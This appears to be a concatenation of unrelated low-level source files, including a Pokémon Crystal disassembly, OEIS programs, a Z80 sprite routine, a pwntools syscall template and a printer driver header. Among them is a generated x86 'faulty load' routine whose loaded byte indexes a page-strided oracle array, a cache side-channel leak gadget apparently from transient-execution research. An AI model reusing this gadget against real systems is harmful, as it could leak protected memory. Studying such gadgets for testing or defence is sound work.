return AMDGPU::isInlinableLiteral64(Imm, STI.hasInv2PiInlineImm());
}
bool AMDGPUInstructionSelector::isInlineImmediate(const APFloat &Imm) const {
return TII.isInlineConstant(Imm);
}
|
LoadOverworldMonIcon:
ld a, e
call ReadMonMenuIcon
ld l, a
ld h, 0
add hl, hl
ld de, IconPointers
add hl, de
ld a, [hli]
ld e, a
ld d, [hl]
ld b, BANK(Icons)
ld c, 8
ret
LoadMenuMonIcon:
push hl
push de
push bc
call .LoadIcon
pop bc
pop de
pop hl
ret
.LoadIcon:
ld d, 0
ld hl, .Jumptable
add hl, de
add hl, de
ld a, [hli]
ld h, [hl]
ld l, a
jp hl
.Jumptable:
; entries correspond to MONICON_* constants
dw PartyMenu_InitAnimatedMonIcon ; MONICON_PARTYMENU
dw NamingScreen_InitAnimatedMonIcon ; MONICON_NAMINGSCREEN
dw MoveList_InitAnimatedMonIcon ; MONICON_MOVES
dw Trade_LoadMonIconGFX ; MONICON_TRADE
dw Mobile_InitAnimatedMonIcon ; MONICON_MOBILE1
dw Mobile_InitPartyMenuBGPal71 ; MONICON_MOBILE2
dw .GetPartyMenuMonIcon ; MONICON_UNUSED
.GetPartyMenuMonIcon:
call InitPartyMenuIcon
call .GetPartyMonItemGFX
call SetPartyMonIconAnimSpeed
ret
.GetPartyMonItemGFX:
push bc
ldh a, [hObjectStructIndexBuffer]
ld hl, wPartyMon1Item
ld bc, PARTYMON_STRUCT_LENGTH
call AddNTimes
pop bc
ld a, [hl]
and a
jr z, .no_item
push hl
push bc
ld d, a
callfar ItemIsMail
pop bc
pop hl
jr c, .not_mail
ld a, $06
jr .got_tile
.not_mail
ld a, $05
; fallthrough
.no_item
ld a, $04
.got_tile
ld hl, SPRITEANIMSTRUCT_FRAMESET_ID
add hl, bc
ld [hl], a
ret
Mobile_InitAnimatedMonIcon:
call PartyMenu_InitAnimatedMonIcon
ld hl, SPRITEANIMSTRUCT_ANIM_SEQ_ID
add hl, bc
ld a, SPRITE_ANIM_SEQ_NULL
ld [hl], a
ld hl, SPRITEANIMSTRUCT_XCOORD
add hl, bc
ld a, 9 * 8
ld [hl], a
ld hl, SPRITEANIMSTRUCT_YCOORD
add hl, bc
ld a, 9 * 8
ld [hl], a
ret
Mobile_InitPartyMenuBGPal71:
call InitPartyMenuIcon
call SetPartyMonIconAnimSpeed
ld hl, SPRITEANIMSTRUCT_ANIM_SEQ_ID
add hl, bc
ld a, SPRITE_ANIM_SEQ_NULL
ld [hl], a
ld hl, SPRITEANIMSTRUCT_XCOORD
add hl, bc
ld a, 3 * 8
ld [hl], a
ld hl, SPRITEANIMSTRUCT_YCOORD
add hl, bc
ld a, 12 * 8
ld [hl], a
ld a, c
ld [wc608], a
ld a, b
ld [wc608 + 1], a
ret
PartyMenu_InitAnimatedMonIcon:
call InitPartyMenuIcon
call .SpawnItemIcon
call SetPartyMonIconAnimSpeed
ret
.SpawnItemIcon:
push bc
ldh a, [hObjectStructIndexBuffer]
ld hl, wPartyMon1Item
ld bc, PARTYMON_STRUCT_LENGTH
call AddNTimes
pop bc
ld a, [hl]
and a
ret z
push hl
push bc
ld d, a
callfar ItemIsMail
pop bc
pop hl
jr c, .mail
ld a, SPRITE_ANIM_FRAMESET_PARTY_MON_WITH_ITEM
jr .okay
.mail
ld a, SPRITE_ANIM_FRAMESET_PARTY_MON_WITH_MAIL
.okay
ld hl, SPRITEANIMSTRUCT_FRAMESET_ID
add hl, bc
ld [hl], a
ret
InitPartyMenuIcon:
ld a, [wCurIconTile]
push af
ldh a, [hObjectStructIndexBuffer]
ld hl, wPartySpecies
ld e, a
ld d, 0
add hl, de
ld a, [hl]
call ReadMonMenuIcon
ld [wCurIcon], a
call GetMemIconGFX
ldh a, [hObjectStructIndexBuffer]
; y coord
add a
add a
add a
add a
add $1c
ld d, a
; x coord
ld e, $10
; type is partymon icon
ld a, SPRITE_ANIM_INDEX_PARTY_MON
call InitSpriteAnimStruct
pop af
ld hl, SPRITEANIMSTRUCT_TILE_ID
add hl, bc
ld [hl], a
ret
SetPartyMonIconAnimSpeed:
push bc
ldh a, [hObjectStructIndexBuffer]
ld b, a
call .getspeed
ld a, b
pop bc
ld hl, SPRITEANIMSTRUCT_DURATIONOFFSET
add hl, bc
ld [hl], a
rlca
rlca
ld hl, SPRITEANIMSTRUCT_0D
add hl, bc
ld [hl], a
ret
.getspeed
farcall PlacePartymonHPBar
call GetHPPal
ld e, d
ld d, 0
ld hl, .speeds
add hl, de
ld b, [hl]
ret
.speeds
db $00 ; HP_GREEN
db $40 ; HP_YELLOW
db $80 ; HP_RED
NamingScreen_InitAnimatedMonIcon:
ld a, [wTempIconSpecies]
call ReadMonMenuIcon
ld [wCurIcon], a
xor a
call GetIconGFX
depixel 4, 4, 4, 0
ld a, SPRITE_ANIM_INDEX_PARTY_MON
call InitSpriteAnimStruct
ld hl, SPRITEANIMSTRUCT_ANIM_SEQ_ID
add hl, bc
ld [hl], SPRITE_ANIM_SEQ_NULL
ret
MoveList_InitAnimatedMonIcon:
ld a, [wTempIconSpecies]
call ReadMonMenuIcon
ld [wCurIcon], a
xor a
call GetIconGFX
ld d, 3 * 8 + 2 ; depixel 3, 4, 2, 4
ld e, 4 * 8 + 4
ld a, SPRITE_ANIM_INDEX_PARTY_MON
call InitSpriteAnimStruct
ld hl, SPRITEANIMSTRUCT_ANIM_SEQ_ID
add hl, bc
ld [hl], SPRITE_ANIM_SEQ_NULL
ret
Trade_LoadMonIconGFX:
ld a, [wTempIconSpecies]
call ReadMonMenuIcon
ld [wCurIcon], a
ld a, $62
ld [wCurIconTile], a
call GetMemIconGFX
ret
GetSpeciesIcon:
; Load species icon into VRAM at tile a
push de
ld a, [wTempIconSpecies]
call ReadMonMenuIcon
ld [wCurIcon], a
pop de
ld a, e
call GetIconGFX
ret
FlyFunction_GetMonIcon:
push de
ld a, [wTempIconSpecies]
call ReadMonMenuIcon
ld [wCurIcon], a
pop de
ld a, e
call GetIcon_a
ret
Unreferenced_GetMonIcon2:
push de
ld a, [wTempIconSpecies]
call ReadMonMenuIcon
ld [wCurIcon], a
pop de
call GetIcon_de
ret
GetMemIconGFX:
ld a, [wCurIconTile]
GetIconGFX:
call GetIcon_a
ld de, 8 tiles
add hl, de
ld de, HeldItemIcons
lb bc, BANK(HeldItemIcons), 2
call GetGFXUnlessMobile
ld a, [wCurIconTile]
add 10
ld [wCurIconTile], a
ret
HeldItemIcons:
INCBIN "gfx/icons/mail.2bpp"
INCBIN "gfx/icons/item.2bpp"
GetIcon_de:
; Load icon graphics into VRAM starting from tile de.
ld l, e
ld h, d
jr GetIcon
GetIcon_a:
; Load icon graphics into VRAM starting from tile a.
ld l, a
ld h, 0
GetIcon:
; Load icon graphics into VRAM starting from tile hl.
; One tile is 16 bytes long.
rept 4
add hl, hl
endr
ld de, vTiles0
add hl, de
push hl
; The icons are contiguous, in order and of the same
; size, so the pointer table is somewhat redundant.
ld a, [wCurIcon]
push hl
ld l, a
ld h, 0
add hl, hl
ld de, IconPointers
add hl, de
ld a, [hli]
ld e, a
ld d, [hl]
pop hl
lb bc, BANK(Icons), 8
call GetGFXUnlessMobile
pop hl
ret
GetGFXUnlessMobile:
ld a, [wLinkMode]
cp LINK_MOBILE
jp nz, Request2bpp
jp Get2bpp_2
FreezeMonIcons:
ld hl, wSpriteAnimationStructs
ld e, PARTY_LENGTH
ld a, [wMenuCursorY]
ld d, a
.loop
ld a, [hl]
and a
jr z, .next
cp d
jr z, .loadwithtwo
ld a, SPRITE_ANIM_SEQ_NULL
jr .ok
.loadwithtwo
ld a, SPRITE_ANIM_SEQ_PARTY_MON_SWITCH
.ok
push hl
ld c, l
ld b, h
ld hl, SPRITEANIMSTRUCT_ANIM_SEQ_ID
add hl, bc
ld [hl], a
pop hl
.next
ld bc, $10
add hl, bc
dec e
jr nz, .loop
ret
UnfreezeMonIcons:
ld hl, wSpriteAnimationStructs
ld e, PARTY_LENGTH
.loop
ld a, [hl]
and a
jr z, .next
push hl
ld c, l
ld b, h
ld hl, SPRITEANIMSTRUCT_ANIM_SEQ_ID
add hl, bc
ld [hl], SPRITE_ANIM_SEQ_PARTY_MON
pop hl
.next
ld bc, $10
add hl, bc
dec e
jr nz, .loop
ret
HoldSwitchmonIcon:
ld hl, wSpriteAnimationStructs
ld e, PARTY_LENGTH
ld a, [wSwitchMon]
ld d, a
.loop
ld a, [hl]
and a
jr z, .next
cp d
jr z, .is_switchmon
ld a, SPRITE_ANIM_SEQ_PARTY_MON_SELECTED
jr .join_back
.is_switchmon
ld a, SPRITE_ANIM_SEQ_PARTY_MON_SWITCH
.join_back
push hl
ld c, l
ld b, h
ld hl, SPRITEANIMSTRUCT_ANIM_SEQ_ID
add hl, bc
ld [hl], a
pop hl
.next
ld bc, $10
add hl, bc
dec e
jr nz, .loop
ret
ReadMonMenuIcon:
cp EGG
jr z, .egg
dec a
ld hl, MonMenuIcons
ld e, a
ld d, 0
add hl, de
ld a, [hl]
ret
.egg
ld a, ICON_EGG
ret
INCLUDE "data/pokemon/menu_icons.asm"
INCLUDE "data/icon_pointers.asm"
INCLUDE "gfx/icons.asm"
|
; A291024: p-INVERT of (1,1,1,1,1,...), where p(S) = (1 - 2 S^2)^2.
; 0,4,8,24,64,172,456,1200,3136,8148,21064,54216,139008,355196,904840,2298720,5825408,14729636,37168008,93612408,235369664,590852172,1481051720,3707411472,9268764096,23145174388,57732471752,143857070376,358113876352,890666303260,2213276707080,5495461646016,13634514080512,33803359898436,83749288141576,207356914801368,513081129248064,1268810174924780,3135901493855944,7746304193780592,19125091958463296,47195343295943444,116410070997868872,287002925371954824,707285094349844480,1742298899368049340,4290203636286820232,10560073443639849504,25983405810163715712,63910362908859833572,157144142604265684616,386262147915048358968,949135449006059016640,2331530566868216776588,5725658635196289952584,14056769463109441831632,34500502865566261298368,84654307428392784943284,207663487494804559897288,509286554197058182677480,1248701509219486209843840,3060924671076217449487964,7501485961582860087656968,18380001913104002429599104,45024635535725933535286784,110271669799288071481833092,270015914511701549050705416,661041774392222316668409240,1618023953812607949109606976,3959676938619892895416954668,9688476834773764867724262344,23701415872212619566956302896,57971978111010769001599261248,141771496421902884506170435156,346647889141965756885933744200,847459235407801562958040758600,2071483199548652431034014544128,5062651274389240686170071247356,12371153867686485873894159122568,30225920888365050836142395060448,73839287520981616421066962463104,180358041562061179830236351993892,440478753785134797260347743685000,1075615861044125312860508025839352,2626234482837005321179324245548736,6411433152557170290124653603782348,15650321446593034469437586076989512,38197865688865650699923232092359056,93218852769210847379139817554779072,227466960760182779948837808122657780,554988353300253787767941082934647240
mov $2,$0
lpb $2
add $1,$3
mov $3,$1
add $1,$0
mov $0,$3
add $1,3
sub $2,1
lpe
mov $0,$1
|
;
; Sprite Rendering Routine
; original code by Patrick Davidson (TI 85)
; modified by Stefano Bodrato - Jan 2001
;
; Z9001 version
;
;
; $Id: putsprite.asm $
;
SECTION smc_clib
PUBLIC putsprite
PUBLIC _putsprite
EXTERN pixeladdress
EXTERN zx_saddrpdown
INCLUDE "graphics/grafix.inc"
; __gfx_coords: d,e (vert-horz)
; sprite: (ix)
.putsprite
._putsprite
ld hl,2
add hl,sp
ld e,(hl)
inc hl
ld d,(hl) ; sprite address
push de
pop ix
inc hl
ld e,(hl)
inc hl
inc hl
ld d,(hl) ; x and y __gfx_coords
inc hl
inc hl
ld a,(hl) ; and/or/xor mode
ld (ortype+1),a ; Self modifying code
ld (ortype2+1),a ; Self modifying code
inc hl
ld a,(hl)
ld (ortype),a ; Self modifying code
ld (ortype2),a ; Self modifying code
ld a,d
push af
ld h,a
ld l,e
call pixeladdress
ld h,d
ld l,e
ld (rowadr1+1),hl ; store current row
ld (rowadr2+1),hl
ld (rowadr3+1),hl
pop af
push hl
AND @00000111
ld hl,offsets_table
ld c,a
ld b,0
add hl,bc
ld a,(hl)
ld (wsmc1+1),a
ld (wsmc2+1),a
ld (_smc1+1),a
pop hl
ld a,(ix+0)
cp 9
jr nc,putspritew
di
ld d,(ix+0)
ld b,(ix+1)
._oloop push bc ;Save # of rows
ld b,d ;Load width
ld c,(ix+2) ;Load one line of image
inc ix
._smc1 ld a,1 ;Load pixel mask
._iloop sla c ;Test leftmost pixel
jr nc,_noplot ;See if a plot is needed
ld e,a
.ortype
nop ; changed into nop / cpl
nop ; changed into and/or/xor (hl)
ld (hl),a
ld a,e
._noplot rrca
jr nc,_notedge ;Test if edge of byte reached
inc hl ;Go to next byte
._notedge djnz _iloop
; ---------
.rowadr1
ld hl,0 ; current address
call zx_saddrpdown
ld (rowadr1+1),hl
; ---------
pop bc ;Restore data
djnz _oloop
ei
ret
.putspritew
di
ld d,(ix+0)
ld b,(ix+1)
.woloop push bc ;Save # of rows
ld b,d ;Load width
ld c,(ix+2) ;Load one line of image
inc ix
.wsmc1 ld a,1 ;Load pixel mask
.wiloop sla c ;Test leftmost pixel
jr nc,wnoplot ;See if a plot is needed
ld e,a
.ortype2
nop ; changed into nop / cpl
nop ; changed into and/or/xor (hl)
ld (hl),a
ld a,e
.wnoplot rrca
jr nc,wnotedge ;Test if edge of byte reached
inc hl ;Go to next byte
.wnotedge
.wsmc2 cp 1
jr z,wover_1
djnz wiloop
; ---------
.rowadr2
ld hl,0 ; current address
call zx_saddrpdown
ld (rowadr2+1),hl
; ---------
pop bc ;Restore data
djnz woloop
ei
ret
.wover_1 ld c,(ix+2)
inc ix
djnz wiloop
dec ix
; ---------
.rowadr3
ld hl,0 ; current address
call zx_saddrpdown
ld (rowadr3+1),hl
; ---------
pop bc
djnz woloop
ei
ret
SECTION rodata_clib
.offsets_table
defb 128,64,32,16,8,4,2,1
|
<%
import collections
import pwnlib.abi
import pwnlib.constants
import pwnlib.shellcraft
import six
%>
<%docstring>sysinfo(info) -> str
Invokes the syscall sysinfo.
See 'man 2 sysinfo' for more information.
Arguments:
info(sysinfo*): info
Returns:
int
</%docstring>
<%page args="info=0"/>
<%
abi = pwnlib.abi.ABI.syscall()
stack = abi.stack
regs = abi.register_arguments[1:]
allregs = pwnlib.shellcraft.registers.current()
can_pushstr = []
can_pushstr_array = []
argument_names = ['info']
argument_values = [info]
# Load all of the arguments into their destination registers / stack slots.
register_arguments = dict()
stack_arguments = collections.OrderedDict()
string_arguments = dict()
dict_arguments = dict()
array_arguments = dict()
syscall_repr = []
for name, arg in zip(argument_names, argument_values):
if arg is not None:
syscall_repr.append('%s=%r' % (name, arg))
# If the argument itself (input) is a register...
if arg in allregs:
index = argument_names.index(name)
if index < len(regs):
target = regs[index]
register_arguments[target] = arg
elif arg is not None:
stack_arguments[index] = arg
# The argument is not a register. It is a string value, and we
# are expecting a string value
elif name in can_pushstr and isinstance(arg, (six.binary_type, six.text_type)):
if isinstance(arg, six.text_type):
arg = arg.encode('utf-8')
string_arguments[name] = arg
# The argument is not a register. It is a dictionary, and we are
# expecting K:V paris.
elif name in can_pushstr_array and isinstance(arg, dict):
array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]
# The arguent is not a register. It is a list, and we are expecting
# a list of arguments.
elif name in can_pushstr_array and isinstance(arg, (list, tuple)):
array_arguments[name] = arg
# The argument is not a register, string, dict, or list.
# It could be a constant string ('O_RDONLY') for an integer argument,
# an actual integer value, or a constant.
else:
index = argument_names.index(name)
if index < len(regs):
target = regs[index]
register_arguments[target] = arg
elif arg is not None:
stack_arguments[target] = arg
# Some syscalls have different names on various architectures.
# Determine which syscall number to use for the current architecture.
for syscall in ['SYS_sysinfo']:
if hasattr(pwnlib.constants, syscall):
break
else:
raise Exception("Could not locate any syscalls: %r" % syscalls)
%>
/* sysinfo(${', '.join(syscall_repr)}) */
%for name, arg in string_arguments.items():
${pwnlib.shellcraft.pushstr(arg, append_null=(b'\x00' not in arg))}
${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}
%endfor
%for name, arg in array_arguments.items():
${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}
%endfor
%for name, arg in stack_arguments.items():
${pwnlib.shellcraft.push(arg)}
%endfor
${pwnlib.shellcraft.setregs(register_arguments)}
${pwnlib.shellcraft.syscall(syscall)} |
# ORG 8090
# DB 63
# ORG 8091
# DB 79
# ORG 8092
# DB 97
# ORG 8093
# DB 26
# ORG 8000
LHLD 8092
MOV B,H
MOV C,L
LHLD 8090
MOV A,L
SBB C
MOV L,A
MOV A,H
SBB B
MOV H,A
SHLD 8094
HLT
|
; A301729: a(0)=1; thereafter positive numbers that are congruent to {0, 1, 3, 5} mod 6.
; 1,1,3,5,6,7,9,11,12,13,15,17,18,19,21,23,24,25,27,29,30,31,33,35,36,37,39,41,42,43,45,47,48,49,51,53,54,55,57,59,60,61,63,65,66,67,69,71,72,73,75,77,78,79,81,83,84,85,87,89,90,91,93,95,96,97
mov $1,$0
add $0,11
mod $0,4
mul $1,6
add $1,$0
sub $1,4
div $1,4
add $1,1
|
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r12
push %r14
push %rax
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_D_ht+0x6754, %r14
add %rdx, %rdx
mov (%r14), %rax
dec %r12
lea addresses_D_ht+0x7754, %rsi
lea addresses_A_ht+0xfc04, %rdi
nop
nop
nop
inc %r14
mov $118, %rcx
rep movsb
nop
nop
nop
nop
xor $6500, %rsi
lea addresses_WT_ht+0xf54, %rsi
lea addresses_normal_ht+0x5d54, %rdi
nop
nop
nop
add $6892, %r10
mov $16, %rcx
rep movsq
nop
xor $56670, %rcx
lea addresses_A_ht+0x1fdc, %r12
nop
nop
cmp %rsi, %rsi
movl $0x61626364, (%r12)
nop
nop
nop
add $16705, %rdi
lea addresses_D_ht+0x7e75, %r14
nop
and $34701, %r12
mov (%r14), %ecx
and $21384, %rsi
lea addresses_WC_ht+0x9854, %rdx
clflush (%rdx)
nop
nop
nop
and %r10, %r10
mov $0x6162636465666768, %rax
movq %rax, %xmm6
movups %xmm6, (%rdx)
nop
nop
nop
and %rax, %rax
lea addresses_UC_ht+0xc638, %rsi
nop
nop
nop
nop
nop
lfence
movl $0x61626364, (%rsi)
nop
nop
nop
nop
cmp $11615, %rax
lea addresses_normal_ht+0x1f54, %rsi
lea addresses_D_ht+0x1553c, %rdi
clflush (%rdi)
nop
nop
nop
nop
sub $30771, %r12
mov $10, %rcx
rep movsw
nop
nop
nop
nop
nop
and $33094, %rax
lea addresses_normal_ht+0x19754, %rsi
lea addresses_WC_ht+0x1edf4, %rdi
nop
dec %r14
mov $98, %rcx
rep movsw
nop
nop
nop
nop
add %rdx, %rdx
lea addresses_normal_ht+0x9a7c, %rsi
lea addresses_A_ht+0x17b54, %rdi
nop
nop
nop
nop
nop
sub %r12, %r12
mov $55, %rcx
rep movsq
dec %r14
lea addresses_UC_ht+0x9304, %r10
nop
nop
nop
nop
xor $8473, %r14
mov $0x6162636465666768, %rax
movq %rax, %xmm2
vmovups %ymm2, (%r10)
nop
nop
nop
nop
and %r10, %r10
lea addresses_normal_ht+0x15754, %rcx
nop
nop
nop
nop
cmp %rdi, %rdi
movb $0x61, (%rcx)
nop
nop
nop
nop
nop
dec %rdi
lea addresses_A_ht+0xf334, %rdx
nop
nop
nop
nop
xor $38916, %rsi
movl $0x61626364, (%rdx)
nop
nop
nop
and %r12, %r12
lea addresses_UC_ht+0x8054, %rsi
lea addresses_D_ht+0x1ac54, %rdi
nop
nop
and %rax, %rax
mov $103, %rcx
rep movsw
nop
nop
nop
xor $35390, %r12
lea addresses_UC_ht+0x16f54, %rsi
lea addresses_normal_ht+0x90f4, %rdi
clflush (%rdi)
nop
dec %rdx
mov $33, %rcx
rep movsw
nop
nop
nop
nop
nop
add %rcx, %rcx
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rax
pop %r14
pop %r12
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r13
push %r15
push %r9
push %rbx
push %rcx
push %rdx
// Store
lea addresses_D+0x22d4, %rcx
dec %rbx
mov $0x5152535455565758, %r9
movq %r9, (%rcx)
nop
nop
nop
sub $332, %r11
// Store
lea addresses_UC+0x130b4, %rdx
nop
and %rcx, %rcx
mov $0x5152535455565758, %r9
movq %r9, %xmm3
movups %xmm3, (%rdx)
nop
add $12859, %r11
// Store
lea addresses_PSE+0x1c054, %r11
nop
nop
inc %r9
movw $0x5152, (%r11)
nop
nop
nop
nop
cmp %rdx, %rdx
// Store
lea addresses_normal+0x98d4, %r15
nop
nop
nop
nop
add %r13, %r13
mov $0x5152535455565758, %r11
movq %r11, (%r15)
cmp %r15, %r15
// Store
mov $0xad4, %r15
nop
nop
nop
nop
sub $37723, %rdx
movl $0x51525354, (%r15)
nop
add $51859, %r13
// Faulty Load
lea addresses_RW+0xb754, %r11
clflush (%r11)
nop
nop
cmp $29225, %rbx
mov (%r11), %cx
lea oracles, %rdx
and $0xff, %rcx
shlq $12, %rcx
mov (%rdx,%rcx,1), %rcx
pop %rdx
pop %rcx
pop %rbx
pop %r9
pop %r15
pop %r13
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'src': {'congruent': 0, 'AVXalign': False, 'same': False, 'size': 32, 'NT': False, 'type': 'addresses_RW'}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'congruent': 4, 'AVXalign': False, 'same': False, 'size': 8, 'NT': True, 'type': 'addresses_D'}}
{'OP': 'STOR', 'dst': {'congruent': 5, 'AVXalign': False, 'same': False, 'size': 16, 'NT': False, 'type': 'addresses_UC'}}
{'OP': 'STOR', 'dst': {'congruent': 8, 'AVXalign': False, 'same': False, 'size': 2, 'NT': False, 'type': 'addresses_PSE'}}
{'OP': 'STOR', 'dst': {'congruent': 7, 'AVXalign': False, 'same': False, 'size': 8, 'NT': False, 'type': 'addresses_normal'}}
{'OP': 'STOR', 'dst': {'congruent': 5, 'AVXalign': False, 'same': False, 'size': 4, 'NT': False, 'type': 'addresses_P'}}
[Faulty Load]
{'src': {'congruent': 0, 'AVXalign': False, 'same': True, 'size': 2, 'NT': False, 'type': 'addresses_RW'}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'congruent': 11, 'AVXalign': False, 'same': False, 'size': 8, 'NT': False, 'type': 'addresses_D_ht'}, 'OP': 'LOAD'}
{'src': {'congruent': 11, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'REPM', 'dst': {'congruent': 3, 'same': False, 'type': 'addresses_A_ht'}}
{'src': {'congruent': 10, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'REPM', 'dst': {'congruent': 9, 'same': False, 'type': 'addresses_normal_ht'}}
{'OP': 'STOR', 'dst': {'congruent': 3, 'AVXalign': False, 'same': False, 'size': 4, 'NT': True, 'type': 'addresses_A_ht'}}
{'src': {'congruent': 0, 'AVXalign': False, 'same': False, 'size': 4, 'NT': False, 'type': 'addresses_D_ht'}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'congruent': 8, 'AVXalign': False, 'same': False, 'size': 16, 'NT': False, 'type': 'addresses_WC_ht'}}
{'OP': 'STOR', 'dst': {'congruent': 0, 'AVXalign': False, 'same': False, 'size': 4, 'NT': False, 'type': 'addresses_UC_ht'}}
{'src': {'congruent': 11, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'REPM', 'dst': {'congruent': 2, 'same': False, 'type': 'addresses_D_ht'}}
{'src': {'congruent': 11, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'REPM', 'dst': {'congruent': 5, 'same': False, 'type': 'addresses_WC_ht'}}
{'src': {'congruent': 3, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'REPM', 'dst': {'congruent': 8, 'same': True, 'type': 'addresses_A_ht'}}
{'OP': 'STOR', 'dst': {'congruent': 3, 'AVXalign': False, 'same': True, 'size': 32, 'NT': False, 'type': 'addresses_UC_ht'}}
{'OP': 'STOR', 'dst': {'congruent': 9, 'AVXalign': False, 'same': False, 'size': 1, 'NT': False, 'type': 'addresses_normal_ht'}}
{'OP': 'STOR', 'dst': {'congruent': 5, 'AVXalign': False, 'same': False, 'size': 4, 'NT': False, 'type': 'addresses_A_ht'}}
{'src': {'congruent': 8, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'REPM', 'dst': {'congruent': 7, 'same': True, 'type': 'addresses_D_ht'}}
{'src': {'congruent': 11, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'REPM', 'dst': {'congruent': 5, 'same': False, 'type': 'addresses_normal_ht'}}
{'32': 21829}
32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32
*/
|
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Copyright (c) Berkeley Softworks 1990 -- All Rights Reserved
PROJECT: PC GEOS
MODULE: Star Gemini 9-pin driver
FILE: gemini9Info.asm
AUTHOR: Dave Durran, 28 Mar 1990
REVISION HISTORY:
Name Date Description
---- ---- -----------
Dave 3/28/90 Initial revision
Dave 5/92 Initial 2.0 revision
DESCRIPTION:
This file contains the device information for the Star Gemini printer
Other Printers Supported by this resource:
$Id: gemini9Info.asm,v 1.1 97/04/18 11:54:34 newdeal Exp $
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
;----------------------------------------------------------------------------
; Star Gemini
;----------------------------------------------------------------------------
geminiInfo segment resource
; info blocks
PrinterInfo < < 0, ; ---- PrinterType -------------
PT_RASTER,
BMF_MONO >,
; ---- PrinterConnections ------
< 0,
IC_NO_IEEE488,
CC_NO_CUSTOM,
SC_NO_SCSI,
RC_RS232C,
CC_CENTRONICS,
FC_FILE,
AC_NO_APPLETALK >,
; ---- PrinterSmarts -----------
PS_DUMB_RASTER,
; ---- Mode Info Offsets -------
